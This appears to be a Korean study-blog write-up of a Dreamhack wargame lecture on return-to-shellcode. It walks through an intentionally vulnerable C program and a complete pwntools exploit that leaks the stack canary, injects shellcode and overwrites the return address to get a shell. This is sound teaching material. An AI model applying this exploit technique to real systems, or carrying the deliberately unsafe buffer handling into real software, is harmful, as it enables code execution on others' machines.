이번 강의에서는 카나리를 우회하고, 셸코드와 Return Address Overwrite를 이용하여 셸을 획득하는 실습을 할 것이다.
강의에서 사용할 예제코드는 아래와 같으며, 바이너리는 본 워게임의 첨부파일로 제공되므로 다운로드하여 실습해보자. 다
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x50];
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
내가 보기에는 buf 크기를 50으로 줬는데 읽어올땐 0x100까지 읽어오는걸로 보인다.
** 분석
보호기법 탐지
리눅스에는 다양한 바이너리 보호기법이 존재한다. 적용된 보호기법에 따라 익스플로잇 설계가 달라지므로, 분석을 시도하기 전에 먼저 적용된 보호기법을 파악해보는 것이 좋다.
보호 기법을 파악할 때 주로 사용되는 툴은 checksec이다. pwntools를 설치할 때 같이 설치되어 ~./local/bin/checksec에 위치한다. checksec을 사용하면 간단한 커맨드 하나로 바이너리에 적용된 보호 기법을 파악할 수 있다.

만약 해당 커맨드를 사용했을 때 command not found 에러가 발생한다면, ~/.bashrc 파일의 마지막 줄에 다음 줄을 추가해주면 된다.
export PATH="$HOME/.local/bin/:$PATH"
checksec을 통해 파악할 수 있는 보호기법은 RELRO, Canary, NX, PIE 이렇게 4가지이다. 카나리 외의 보호기법들은 나중에 소개할 것이다. 여기서는 checksec이란 툴이 있고, r2s 바이너리에 카나리가 적용되어 있다는 것만 확인하면 된다.
** 취약점 탐색
1. buf의 주소
이 예제에서는 실습의 편의를 위해 buf의 주소 및 rbp와 buf 사이의 주소 차이를 알려준다.
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
2. 스택 버퍼 오버플로우
코드를 살펴보면 스택 버퍼인 buf에 총 두 번의 입력을 받는다. 그런데 두 입력 모두에서 오버플로우가 발생한다는 것을 알 수 있다.
char buf[0x50];
read(0, buf, 0x100); // 0x50 < 0x100
gets(buf); // Unsafe function
이 취약점들을 이용해서 셸을 획득한다.
** 익스플로잇 시나리오
1. 카나리 우회
두 번째 입력으로 반환 주소를 덮을 수 있지만, 카나리가 조작되면 __stack_chk_fail 함수에 의해 프로그램이 강제 종료된다. 그러므로 첫 번째 입력에서 카나리를 먼저 구하고, 이를 두 번째 입력에 사용해야 한다.
첫 번째 입력의 바로 뒤에서 buf를 문자열로 출력해주기 때문에, buf에 적절한 오버플로우를 발생시키면 카나리 값을 구할 수 있을 것이다.
read(0, buf, 0x100); // Fill buf until it meets canary
printf("Your input is '%s'\n", buf);
2. 셸 획득
카나리를 구했으면, 이제 두 번재 입력으로 반환 주소를 덮을 수 있다. 그런데 이 바이너리에는 지난 실습과 달리 셸을 획득해주는 get_shell() 같은 함수가 없다. 따라서 셸을 획득하는 코드를 직접 주입하고, 해당 주소로 실행 흐름을 옮겨야 한다. 주소를 알고 있는 buf에 셸코드를 주입하고, 해당 주소로 실행 흐름을 옮기면 셸을 획득할 수 있을 것이다.
이제 구상한 시나리오를 익스플로잇 코드로 옮겨보자.
** 익스플로잇
스택 프레임 정보 수집
스택을 이용하여 공격할것이므로, 스택 프레임의 구조를 먼저 파악해야한다. 이 예제에서는 스택 프레임에서의 buf 위치를 보여주므로, 이를 적절히 파싱할 수만 있으면 된다.
Tools: pwntools 강의에서 배운 process, recv, recvuntil, recvn, recvline 등의 함수를 사용해서 구현할 수 있다. 아래와 유사한 결과가 나오도록 직접 pwntools 스크립트를 작성해보자
#!/usr/bin/env python3
# Name: r2s.py
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = process('./r2s')
context.arch = 'amd64'
# [1] Get information about buf
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)
slog('Address of buf', buf)
p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog('buf <=> sfp', buf2sfp)
slog('buf <=> canary', buf2cnry)
카나리 릭
스택 프레임에 대한 정보를 수집했으므로, 이를 활용하여 카나리를 구해야한다. buf와 카나리 사이를 임의의 값으로 채우면, 프로그램에서 buf를 출력할 때 카나리가 같이 출력될 것이다. 앞에서 구한 스택 프레임의 구조를 고려하여, 카나리를 구하도록 스크립트를 추가해보자.

$ python3 ./r2s.py
[+] Starting local process './r2s': pid 8564
[+] Address of buf: 0x7ffe58a8d740
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58
[+] Canary: 0x40e736d41cd76400
# [2] Leak canary value
payload = b'A'*(buf2cnry + 1) # (+1) because of the first null-byte
p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary', cnry)
익스플로잇
카나리를 구했으므로, 이제 buf에 셸코드를 주입하고, 카나리를 구한 값으로 덮은 뒤, 반환주소(RET)를 buf로 덮으면 셸코드가 실행되게 할 수 있다. context.arch, shellcraft, asm을 이용하면 스크립트를 쉽게 추가할 수 있다.

$ python3 ./r2s.py
[+] Starting local process './r2s': pid 8593
[+] Address of buf: 0x7ffc323acb00
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58
[+] Canary: 0x6955522676848000
[*] Switching to interactive mode
$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack) ...
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
# gets() receives input until '\n' is received
p.sendlineafter(b'Input:', payload)
p.interactive()
전체 익스플로잇
#!/usr/bin/env python3
# Name: r2s.py
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = process('./r2s')
context.arch = 'amd64'
# [1] Get information about buf
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)
slog('Address of buf', buf)
p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog('buf <=> sfp', buf2sfp)
slog('buf <=> canary', buf2cnry)
# [2] Leak canary value
payload = b'A'*(buf2cnry + 1) # (+1) because of the first null-byte
p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary', cnry)
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
# gets() receives input until '\n' is received
p.sendlineafter(b'Input:', payload)
p.interactive()
마치며
강의 요약
이번 강의에서는 카나리를 우회하고, 셸코드가 주입된 버퍼로 실행 흐름을 조작하는 공격 기법을 배워보았습니다. 이를 이용하면 지난 번에 사용했던 get_shell()같은 부자연스러운 함수가 없더라도 셸을 획득할 수 있습니다.
강의에서는 스택 버퍼에 코드를 주입하여 실행했지만, 이 외에도 전역으로 선언된 버퍼나, 힙 버퍼 등에도 셸코드를 주입하여 실행시킬 수 있습니다. 특히, 전역 버퍼는 PIE가 적용되지 않으면 주소가 고정되기 때문에, 버퍼의 주소를 구하는 별도의 과정 없이도 해당 버퍼로 실행 흐름을 옮길 수 있습니다.
이 공격 기법은 다음 조건이 만족되면 사용할 수 있습니다.
- 코드를 삽입할 수 있는 임의의 버퍼가 있을 때, 해당 버퍼의 주소를 알거나, 구할 수 있다.
- 실행 흐름을 옮길 수 있다. ← 스택 버퍼 오버플로우도 여기 포함됩니다.
컴퓨터 과학에서는 임의의 코드를 실행하는 것을 Arbitrary Code Execution(임의 코드 실행;ACE)라고 부릅니다. 그리고 원격 서버를 대상으로 ACE를 수행하는 것을 Remote Code Execution(원격 코드 실행; RCE)라고 부릅니다. 이번 강의에서 배운 Return to shellcode는 RCE 기법이라고 할 수 있습니다.
RCE는 서버를 대상으로 한 공격들 중, 매우 파괴적인 공격에 속하며, 컴퓨터 과학자들은 서버에서 RCE의 위험을 줄이기 위해 여러 보호 기법을 고안했습니다. 대표적으로 코드 섹션 외의 모든 섹션에 실행 권한을 없애는 NX(Not eXecutable)가 있으며, 바이너리를 실행할 때마다 임의의 주소에 스택과 힙을 할당하는 ASLR(Address Space Layout Randomization)이 있습니다.
r2s는 컴파일할 때, gcc에 -zexecstack 옵션을 추가하여 NX를 해제했기 때문에 buf에 주입한 셸코드를 실행할 수 있었습니다.
다음 강의에서 NX와 ASLR이 무엇인지, 그리고 이 둘을 어떻게 우회할 수 있을지 살펴보겠습니다.
추가로, 강의에서 다룬 취약점은 Exploit Tech: Return Address Overwrite와 동일하므로 패치 방법을 따로 설명하지는 않겠습니다.
'공부중 > 시스템 해킹' 카테고리의 다른 글
| [Dreamhack] Library-Static Link vs. Dynamic Link & Quiz (0) | 2024.09.18 |
|---|---|
| [Dreamhack] Bypass: NX&ASLR (0) | 2024.09.18 |
| [Dreamhack] Exploit Tech: Return Address Overwrite (0) | 2024.09.16 |
| [Dreamhack] Stack Buffer Overflow (0) | 2024.09.15 |
| [Dreamhack] Exploit Tech: Shellcode (execve 셸코드) & Quiz: shellcode (0) | 2024.09.14 |
댓글